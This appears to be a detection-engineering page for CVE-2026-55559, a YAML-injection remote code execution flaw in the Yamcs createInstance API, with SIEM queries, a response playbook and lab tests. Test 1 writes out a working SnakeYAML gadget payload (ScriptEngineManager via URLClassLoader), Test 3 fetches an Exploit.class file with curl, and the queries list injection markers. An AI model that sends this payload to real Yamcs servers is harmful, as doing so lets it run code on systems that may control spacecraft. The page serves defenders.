CVE-2026-55559

Yamcs createInstance instance-template YAML Injection RCE (CVE-2026-55559)

Initial Access Execution Last updated:

Detects exploitation of CVE-2026-55559, a critical (CVSS 9.8) remote code execution vulnerability in Yamcs (org.yamcs:yamcs-core). The createInstance API endpoint accepts instance-template arguments that are unsafely interpolated into instance configuration YAML, allowing an authenticated attacker to inject arbitrary YAML. Because Yamcs uses SnakeYAML-style deserialization, the injected YAML can instantiate arbitrary Java types (CWE-94/CWE-470/CWE-1336), leading to code execution in the Yamcs JVM. Affected versions: <= 5.12.7 and >= 5.13.0 <= 5.13.1; fixed in 5.12.8 and 5.13.2. This detection surfaces suspicious POST requests to the createInstance endpoint carrying YAML tag markers (e.g. '!!'), template argument injection patterns, and post-exploitation child processes spawned by the Yamcs Java process.

Vulnerability Intelligence

Public PoC

What is CVE-2026-55559 Yamcs createInstance instance-template YAML Injection RCE (CVE-2026-55559)?

Yamcs createInstance instance-template YAML Injection RCE (CVE-2026-55559) (CVE-2026-55559) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Yamcs createInstance instance-template YAML Injection RCE (CVE-2026-55559), covering the data sources and telemetry it touches: IIS Web Logs, WAF Logs, Reverse Proxy Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
let yamcsPaths = dynamic(["/api/instances", "createInstance", "instance-template"]);
let yamlInjectionMarkers = dynamic(["!!", "!<", "!!javax", "!!java", "!!com.", "!!org.", "ScriptEngine", "tag:yaml.org"]);
union isfuzzy=true
(
  W3CIISLog
  | where csMethod == "POST"
  | where csUriStem has_any (yamcsPaths)
  | extend Payload = strcat(csUriQuery, tostring(csReferer))
  | where Payload has_any (yamlInjectionMarkers)
  | project TimeGenerated, SrcIp = cIP, Method = csMethod, Uri = csUriStem, Query = csUriQuery, Status = scStatus, UserAgent = csUserAgent, Host = Computer
),
(
  CommonSecurityLog
  | where DeviceProduct in ("WAF", "Web Application Firewall", "ApplicationGateway")
  | where RequestMethod == "POST"
  | where RequestURL has_any (yamcsPaths)
  | where AdditionalExtensions has_any (yamlInjectionMarkers) or RequestURL has_any (yamlInjectionMarkers)
  | project TimeGenerated, SrcIp = SourceIP, Method = RequestMethod, Uri = RequestURL, Query = AdditionalExtensions, Status = tostring(SentBytes), UserAgent = DeviceCustomString1, Host = DeviceName
)
| sort by TimeGenerated desc

Identifies POST requests to the Yamcs createInstance / instance-template API surface that carry YAML tag markers (e.g. '!!java', '!!javax', '!!com.') indicative of YAML injection leading to Java type instantiation. Correlates IIS/W3C web logs and WAF logs.

critical severity medium confidence

Data Sources

IIS Web Logs WAF Logs Reverse Proxy Logs

Required Tables

W3CIISLog CommonSecurityLog

False Positives

  • Legitimate administrators creating Yamcs instances from templates whose parameters happen to contain double-exclamation punctuation.
  • Automated infrastructure-as-code deployment pipelines that programmatically call createInstance with templated YAML.
  • Security scanners and vulnerability assessment tools probing the Yamcs API during authorized testing.

Sigma rule & cross-platform mapping

The detection logic for Yamcs createInstance instance-template YAML Injection RCE (CVE-2026-55559) (CVE-2026-55559) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Yamcs createInstance YAML injection probe (Java type tag)

    Expected signal: Web/proxy log entry for a POST to /api/instances containing '!!javax' and '!!java' YAML markers in the request body.

  2. Test 2Yamcs YAML injection followed by shell child process

    Expected signal: ProcessRollup2 / endpoint process-start event showing sh/whoami/id as children of a java parent process under the yamcs user.

  3. Test 3Yamcs YAML injection outbound classloader fetch

    Expected signal: Outbound HTTP GET for a .class file originating from the Yamcs host/user, plus a file-write of Exploit.class to /tmp.


Response Playbook

Triage

  1. Identify the source IP and authenticated user/session that issued the POST to the createInstance / instance-template endpoint, and confirm whether the request body or arguments contain YAML tag markers (e.g. '!!java', '!!javax', '!<').
  2. Determine the Yamcs version running on the host (check yamcs-core JAR version or the Yamcs web UI 'About' page) and confirm whether it is <= 5.12.7 or >= 5.13.0 <= 5.13.1 and therefore vulnerable.
  3. Review the Yamcs process tree on the target host for any child processes (shells, curl/wget, interpreters) spawned by the Java process shortly after the suspicious request.
  4. Correlate the source IP against authentication logs to establish whether the actor holds legitimate instance-management privileges or the credentials appear compromised.

Containment

  1. Block the offending source IP at the WAF/reverse proxy and revoke or reset the Yamcs credentials/session used in the request.
  2. Isolate the affected Yamcs host from the network if child process execution or unexpected outbound connections are confirmed, and restrict access to the createInstance API to trusted management networks only.
  3. Upgrade Yamcs to the fixed release (5.12.8 for the 5.12.x line or 5.13.2 for the 5.13.x line) as the primary remediation.

Evidence Collection

  1. Preserve web/proxy/WAF logs containing the full request URI, query string, and body for the createInstance calls, plus Yamcs application logs from the incident window.
  2. Capture a memory image and process listing of the Yamcs JVM, and collect any instance configuration YAML files written under the Yamcs data/etc directories during the timeframe.
  3. Export EDR process telemetry showing the Java parent process and any spawned children, including full command lines and network connections.

Escalation Criteria

  • ! Escalate to incident response immediately if a non-Java child process (shell, downloader, interpreter) was spawned by the Yamcs process following the request, indicating successful RCE.
  • ! Escalate if outbound C2-like connections, new persistence, or lateral movement from the Yamcs host are observed.
  • ! Escalate if the Yamcs host controls or interfaces with operational/mission systems (e.g. spacecraft command & control), given the elevated impact of compromise.

Investigation Guide

Forensic Artifacts

  • > Yamcs instance configuration YAML files created/modified under the Yamcs etc/instances or data directory during the incident window.
  • > Web/proxy/WAF access logs with POST requests to createInstance containing YAML tag markers.
  • > JVM process tree and command lines showing children spawned by the Yamcs Java process.
  • > Yamcs application server logs recording template instantiation errors or stack traces referencing SnakeYAML/type construction.

Tuning Guidance

Baseline which source IPs and service accounts legitimately call createInstance (typically CI/CD or a small set of administrators) and allow-list them. Tighten the YAML-marker regex to the specific tags used by public PoCs ('!!java', '!!javax', '!!com.') to reduce noise from benign exclamation punctuation. Pair the web-log detection with the EDR child-process rule so a lone marker hit is treated as suspicious while a marker-plus-child-process sequence is treated as confirmed exploitation. Suppress alerts from sanctioned scanners by source IP.


Hunting Queries

Hunt for historical YAML-injection markers in POST requests to the Yamcs createInstance / instance-template API across web logs.

Hunting — KQL
kql
W3CIISLog | where csMethod == "POST" | where csUriStem has_any ("createInstance", "/api/instances", "instance-template") | where csUriQuery has_any ("!!", "!<", "ScriptEngine", "tag:yaml.org") | project TimeGenerated, cIP, csUriStem, csUriQuery, scStatus
Hunting — SPL
spl
index=web method=POST (uri_path="*createInstance*" OR uri_query="*instance-template*") | where match(uri_query.form_data, "(!!|!<|ScriptEngine|tag:yaml\.org)") | table _time src_ip uri_path status

Atomic Red Team Tests

Test 1 Yamcs createInstance YAML injection probe (Java type tag)
linux

Sends a POST to the Yamcs createInstance endpoint with an instance-template argument containing a SnakeYAML Java type tag, simulating the CVE-2026-55559 injection vector. Lab-only against a test Yamcs instance.

Command

bash
curl -sk -X POST 'https://yamcs.lab.local:8090/api/instances' -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' --data '{"name":"poc","template":"default","templateArgs":{"processor":"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]"}}'

Cleanup

bash
curl -sk -X DELETE 'https://yamcs.lab.local:8090/api/instances/poc' -H 'Authorization: Bearer $TOKEN' || true

Expected Telemetry

Web/proxy log entry for a POST to /api/instances containing '!!javax' and '!!java' YAML markers in the request body.

Expected Detection

The kql/spl/qradar_aql/sumo_logic/chronicle_yaral web-log detections fire on the YAML type-injection markers in the POST body.

Test 2 Yamcs YAML injection followed by shell child process
linux

Simulates successful exploitation by having a Java process spawn a shell, mirroring the post-injection RCE behavior for EDR-based detection. Lab-only.

Command

bash
java -e 2>/dev/null; sudo -u yamcs bash -c 'java -version 2>/dev/null; sh -c "whoami; id"'

Cleanup

bash
echo 'no persistent artifacts created'

Expected Telemetry

ProcessRollup2 / endpoint process-start event showing sh/whoami/id as children of a java parent process under the yamcs user.

Expected Detection

The elastic_eql sequence and crowdstrike_cql rules fire on the java-parent-to-shell child process relationship.

Test 3 Yamcs YAML injection outbound classloader fetch
linux

Simulates the URLClassLoader stage where the injected YAML causes the JVM to fetch a remote class, generating outbound network telemetry from the Yamcs host. Lab-only.

Command

bash
sudo -u yamcs bash -c 'curl -s http://127.0.0.1:8000/Exploit.class -o /tmp/Exploit.class'

Cleanup

bash
rm -f /tmp/Exploit.class

Expected Telemetry

Outbound HTTP GET for a .class file originating from the Yamcs host/user, plus a file-write of Exploit.class to /tmp.

Expected Detection

EDR network + file telemetry and the crowdstrike_cql child-process rule (curl under java/yamcs context) surface the remote class fetch.

Related Detections